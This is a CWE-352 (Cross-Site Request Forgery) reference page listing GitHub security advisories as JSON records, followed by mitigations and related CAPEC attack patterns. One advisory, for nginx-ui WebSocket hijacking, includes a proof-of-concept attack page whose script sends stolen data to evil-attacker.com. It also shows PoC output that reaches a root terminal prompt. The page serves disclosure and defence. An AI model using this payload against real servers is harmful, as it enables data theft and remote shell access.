CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14169 vulnerabilities reference this CWE, most recent first.
GHSA-789W-F5CH-WRJQ
Vulnerability from github – Published: 2021-12-17 00:00 – Updated: 2021-12-22 00:01Cross Site Request Forgery (CSRF) vulnerability in Change-password.php in phpgurukul user management system in php using stored procedure V1.0, allows attackers to change the password to an arbitrary account.
{
"affected": [],
"aliases": [
"CVE-2021-26800"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-16T20:15:00Z",
"severity": "MODERATE"
},
"details": "Cross Site Request Forgery (CSRF) vulnerability in Change-password.php in phpgurukul user management system in php using stored procedure V1.0, allows attackers to change the password to an arbitrary account.",
"id": "GHSA-789w-f5ch-wrjq",
"modified": "2021-12-22T00:01:38Z",
"published": "2021-12-17T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26800"
},
{
"type": "WEB",
"url": "https://gist.github.com/Kavisha3/59dac95b268f0d32eab53e659ab59311"
},
{
"type": "WEB",
"url": "https://phpgurukul.com/user-management-system-in-php-using-stored-procedure"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-78CJ-2M29-Q5R9
Vulnerability from github – Published: 2022-05-05 02:48 – Updated: 2023-02-08 18:06Unspecified vulnerability in Jenkins before 1.502 and LTS before 1.480.3 allows remote attackers to bypass the CSRF protection mechanism via unknown attack vectors.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.481"
},
{
"fixed": "1.502"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.480.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2013-0329"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-08T18:06:03Z",
"nvd_published_at": "2013-03-19T14:55:00Z",
"severity": "MODERATE"
},
"details": "Unspecified vulnerability in Jenkins before 1.502 and LTS before 1.480.3 allows remote attackers to bypass the CSRF protection mechanism via unknown attack vectors.",
"id": "GHSA-78cj-2m29-q5r9",
"modified": "2023-02-08T18:06:03Z",
"published": "2022-05-05T02:48:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0329"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2013:0638"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2013-0329"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=914877"
},
{
"type": "WEB",
"url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2013-02-16"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-0638.html"
},
{
"type": "WEB",
"url": "http://www.cloudbees.com/jenkins-advisory/jenkins-security-advisory-2013-02-16.cb"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2013/02/21/7"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Jenkins Cross-Site Request Forgery vulnerability"
}
GHSA-78F4-MRHM-JMVG
Vulnerability from github – Published: 2024-04-15 12:30 – Updated: 2026-04-01 18:31Cross-Site Request Forgery (CSRF) vulnerability in AppPresser Team AppPresser.This issue affects AppPresser: from n/a through 4.3.0.
{
"affected": [],
"aliases": [
"CVE-2024-31374"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-15T11:15:09Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in AppPresser Team AppPresser.This issue affects AppPresser: from n/a through 4.3.0.",
"id": "GHSA-78f4-mrhm-jmvg",
"modified": "2026-04-01T18:31:45Z",
"published": "2024-04-15T12:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31374"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/apppresser/vulnerability/wordpress-apppresser-mobile-app-framework-plugin-4-3-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/apppresser/wordpress-apppresser-mobile-app-framework-plugin-4-3-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-78F6-8CX3-2458
Vulnerability from github – Published: 2024-07-05 21:31 – Updated: 2024-08-01 15:31idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/infoSys_deal.php?mudi=deal
{
"affected": [],
"aliases": [
"CVE-2024-39022"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-05T19:15:10Z",
"severity": "HIGH"
},
"details": "idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/infoSys_deal.php?mudi=deal",
"id": "GHSA-78f6-8cx3-2458",
"modified": "2024-08-01T15:31:52Z",
"published": "2024-07-05T21:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39022"
},
{
"type": "WEB",
"url": "https://github.com/da271133/cms2/blob/main/47/csrf.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-78F7-4RG3-3M3H
Vulnerability from github – Published: 2024-03-15 15:30 – Updated: 2025-02-09 21:30Cross-Site Request Forgery (CSRF) vulnerability in Cozmoslabs Paid Member Subscriptions.This issue affects Paid Member Subscriptions: from n/a through 2.10.4.
{
"affected": [],
"aliases": [
"CVE-2023-51522"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-15T15:15:08Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Cozmoslabs Paid Member Subscriptions.This issue affects Paid Member Subscriptions: from n/a through 2.10.4.",
"id": "GHSA-78f7-4rg3-3m3h",
"modified": "2025-02-09T21:30:48Z",
"published": "2024-03-15T15:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51522"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/paid-member-subscriptions/wordpress-paid-membership-subscriptions-plugin-2-10-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-78GF-R26X-XRJG
Vulnerability from github – Published: 2024-04-15 09:30 – Updated: 2026-04-01 18:31Cross-Site Request Forgery (CSRF) vulnerability in Libsyn Libsyn Publisher Hub.This issue affects Libsyn Publisher Hub: from n/a through 1.4.4.
{
"affected": [],
"aliases": [
"CVE-2024-32141"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-15T09:15:11Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Libsyn Libsyn Publisher Hub.This issue affects Libsyn Publisher Hub: from n/a through 1.4.4.",
"id": "GHSA-78gf-r26x-xrjg",
"modified": "2026-04-01T18:31:45Z",
"published": "2024-04-15T09:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32141"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/libsyn-podcasting/vulnerability/wordpress-libsyn-publisher-hub-plugin-1-4-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/libsyn-podcasting/wordpress-libsyn-publisher-hub-plugin-1-4-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-78HP-C8FJ-79XM
Vulnerability from github – Published: 2024-04-15 12:30 – Updated: 2026-04-28 21:34Cross-Site Request Forgery (CSRF) vulnerability in TMS Amelia.This issue affects Amelia: from n/a through 1.0.95.
{
"affected": [],
"aliases": [
"CVE-2024-31425"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-15T10:15:09Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in TMS Amelia.This issue affects Amelia: from n/a through 1.0.95.",
"id": "GHSA-78hp-c8fj-79xm",
"modified": "2026-04-28T21:34:44Z",
"published": "2024-04-15T12:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31425"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/ameliabooking/wordpress-amelia-plugin-1-0-95-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-78J8-Q9H7-GHFW
Vulnerability from github – Published: 2024-04-25 09:32 – Updated: 2026-04-28 21:34Cross-Site Request Forgery (CSRF) vulnerability in 大侠WP DX-Watermark.This issue affects DX-Watermark: from n/a through 1.0.4.
{
"affected": [],
"aliases": [
"CVE-2024-30560"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-25T09:15:07Z",
"severity": "CRITICAL"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in \u5927\u4fa0WP DX-Watermark.This issue affects DX-Watermark: from n/a through 1.0.4.",
"id": "GHSA-78j8-q9h7-ghfw",
"modified": "2026-04-28T21:34:57Z",
"published": "2024-04-25T09:32:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30560"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/dx-watermark/wordpress-dx-watermark-plugin-1-0-4-csrf-to-arbitrary-file-upload-and-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-78M5-76HF-68GX
Vulnerability from github – Published: 2023-04-11 09:30 – Updated: 2024-04-04 03:24Cross-site scripting vulnerability in SEIKO EPSON printers/network interface Web Config allows a remote authenticated attacker with an administrative privilege to inject an arbitrary script. [Note] Web Config is the software that allows users to check the status and change the settings of SEIKO EPSON printers/network interface via a web browser. According to SEIKO EPSON CORPORATION, it is also called as Remote Manager in some products. Web Config is pre-installed in some printers/network interface provided by SEIKO EPSON CORPORATION. For the details of the affected product names/model numbers, refer to the information provided by the vendor.
{
"affected": [],
"aliases": [
"CVE-2023-23572"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-11T09:15:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting vulnerability in SEIKO EPSON printers/network interface Web Config allows a remote authenticated attacker with an administrative privilege to inject an arbitrary script. [Note] Web Config is the software that allows users to check the status and change the settings of SEIKO EPSON printers/network interface via a web browser. According to SEIKO EPSON CORPORATION, it is also called as Remote Manager in some products. Web Config is pre-installed in some printers/network interface provided by SEIKO EPSON CORPORATION. For the details of the affected product names/model numbers, refer to the information provided by the vendor.",
"id": "GHSA-78m5-76hf-68gx",
"modified": "2024-04-04T03:24:01Z",
"published": "2023-04-11T09:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23572"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN82424996"
},
{
"type": "WEB",
"url": "https://www.epson.jp/support/misc_t/230308_oshirase.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-78MF-482W-62QJ
Vulnerability from github – Published: 2026-04-21 15:13 – Updated: 2026-04-27 16:20Summary
All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.
Details
Vulnerable Code Pattern
Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:
// Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go,
// api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go,
// api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go,
// api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true // Accepts ALL origins
},
}
Cookie-Based Authentication
The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):
watch(token, v => {
cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite
})
The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):
func getToken(c *gin.Context) (token string) {
// ...
if token, _ = c.Cookie("token"); token != "" {
return token
}
return ""
}
Affected Endpoints
All WebSocket endpoints under the authenticated router group are vulnerable:
| Endpoint | Impact |
|---|---|
| /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration |
| /api/events | Leak system processing events |
| /api/analytic/intro | Leak CPU, memory, disk, network statistics |
| /api/nginx_log | Read nginx log files (access/error logs) |
| /api/pty | Interactive terminal access (RCE if OTP not enabled) |
| /api/upgrade/perform | Trigger system binary upgrade |
| /api/cluster/nodes/enabled | Leak and manipulate cluster node data |
PoC
Environment Setup
services:
nginx-ui:
image: uozi/nginx-ui:latest
ports:
- "9000:80"
volumes:
- nginx-ui-config:/etc/nginx-ui
volumes:
nginx-ui-config:
Attack Page (hosted on attacker-controlled domain)
<script>
// Attacker page at http://evil-attacker.com
// Victim must be logged into nginx-ui
const ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws');
ws.onopen = () => console.log('CSWSH: Connected from malicious origin!');
ws.onmessage = (e) => {
console.log('Stolen data:', e.data);
fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data});
};
</script>
Automated PoC Results
[+] VULNERABLE! WebSocket connected from http://evil-attacker.com
[+] Received: {"stub_status_enabled":false,"running":true,"info":{"active":0,...}}
[+] VULNERABLE! Event stream from http://evil-attacker.com
[+] Received: {"event":"processing_status","data":{"index_scanning":false,...}}
[+] VULNERABLE! Analytics from http://evil-attacker.com
[+] Received: {"avg_load":{"load1":0.1,"load5":0.2},"cpu_percent":0.08,...}
[+] CRITICAL: Terminal connected from http://evil-attacker.com!
[+] Terminal output: 'eae7a76e3ef4 login: '
[*] Sent username: root
[+] Output: 'Password: '
[+] Control test (no auth): Correctly rejected with HTTP 403
Impact
An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:
- Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events
- Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens
- Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution
- Triggers system operations -- including nginx reload/restart and binary upgrades
The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.
Remediation
- Implement proper origin validation in all WebSocket upgraders:
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
origin := r.Header.Get("Origin")
return isAllowedOrigin(origin)
},
}
- Set secure cookie attributes:
cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })
- Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.
A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/0xJacky/Nginx-UI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.10-0.20260316053337-1a9cd29a3082"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34403"
],
"database_specific": {
"cwe_ids": [
"CWE-1385",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T15:13:01Z",
"nvd_published_at": "2026-04-20T21:16:36Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAll WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.\n\n## Details\n\n### Vulnerable Code Pattern\n\nEvery WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:\n\n```go\n// Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go,\n// api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go,\n// api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go,\n// api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go\nvar upgrader = websocket.Upgrader{\n CheckOrigin: func(r *http.Request) bool {\n return true // Accepts ALL origins\n },\n}\n```\n\n### Cookie-Based Authentication\n\nThe Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):\n\n```typescript\nwatch(token, v =\u003e {\n cookies.set(\u0027token\u0027, v, { maxAge: 86400 }) // No HttpOnly, no SameSite\n})\n```\n\nThe backend middleware accepts tokens from cookies (internal/middleware/middleware.go):\n\n```go\nfunc getToken(c *gin.Context) (token string) {\n // ...\n if token, _ = c.Cookie(\"token\"); token != \"\" {\n return token\n }\n return \"\"\n}\n```\n\n### Affected Endpoints\n\nAll WebSocket endpoints under the authenticated router group are vulnerable:\n\n| Endpoint | Impact |\n|---|---|\n| /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration |\n| /api/events | Leak system processing events |\n| /api/analytic/intro | Leak CPU, memory, disk, network statistics |\n| /api/nginx_log | Read nginx log files (access/error logs) |\n| /api/pty | Interactive terminal access (RCE if OTP not enabled) |\n| /api/upgrade/perform | Trigger system binary upgrade |\n| /api/cluster/nodes/enabled | Leak and manipulate cluster node data |\n\n## PoC\n\n### Environment Setup\n\n```yaml\nservices:\n nginx-ui:\n image: uozi/nginx-ui:latest\n ports:\n - \"9000:80\"\n volumes:\n - nginx-ui-config:/etc/nginx-ui\nvolumes:\n nginx-ui-config:\n```\n\n### Attack Page (hosted on attacker-controlled domain)\n\n```html\n\u003cscript\u003e\n// Attacker page at http://evil-attacker.com\n// Victim must be logged into nginx-ui\nconst ws = new WebSocket(\u0027ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws\u0027);\nws.onopen = () =\u003e console.log(\u0027CSWSH: Connected from malicious origin!\u0027);\nws.onmessage = (e) =\u003e {\n console.log(\u0027Stolen data:\u0027, e.data);\n fetch(\u0027https://evil-attacker.com/collect\u0027, {method:\u0027POST\u0027, body: e.data});\n};\n\u003c/script\u003e\n```\n\n### Automated PoC Results\n\n```\n[+] VULNERABLE! WebSocket connected from http://evil-attacker.com\n[+] Received: {\"stub_status_enabled\":false,\"running\":true,\"info\":{\"active\":0,...}}\n\n[+] VULNERABLE! Event stream from http://evil-attacker.com\n[+] Received: {\"event\":\"processing_status\",\"data\":{\"index_scanning\":false,...}}\n\n[+] VULNERABLE! Analytics from http://evil-attacker.com\n[+] Received: {\"avg_load\":{\"load1\":0.1,\"load5\":0.2},\"cpu_percent\":0.08,...}\n\n[+] CRITICAL: Terminal connected from http://evil-attacker.com!\n[+] Terminal output: \u0027eae7a76e3ef4 login: \u0027\n[*] Sent username: root\n[+] Output: \u0027Password: \u0027\n\n[+] Control test (no auth): Correctly rejected with HTTP 403\n```\n\n## Impact\n\nAn attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:\n\n1. **Steals sensitive server information** -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events\n2. **Reads nginx log files** -- potentially containing sensitive request data, IP addresses, and authentication tokens\n3. **Gains interactive terminal access** -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution\n4. **Triggers system operations** -- including nginx reload/restart and binary upgrades\n\nThe attack requires no privileges and no knowledge of the victim\u0027s credentials. The only user interaction needed is visiting a webpage.\n\n## Remediation\n\n1. Implement proper origin validation in all WebSocket upgraders:\n\n```go\nvar upgrader = websocket.Upgrader{\n CheckOrigin: func(r *http.Request) bool {\n origin := r.Header.Get(\"Origin\")\n return isAllowedOrigin(origin)\n },\n}\n```\n\n2. Set secure cookie attributes:\n```typescript\ncookies.set(\u0027token\u0027, v, { maxAge: 86400, sameSite: \u0027strict\u0027, secure: true })\n```\n\n3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.\n\nA patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5",
"id": "GHSA-78mf-482w-62qj",
"modified": "2026-04-27T16:20:34Z",
"published": "2026-04-21T15:13:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-78mf-482w-62qj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34403"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xJacky/nginx-ui"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Nginx-UI: Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.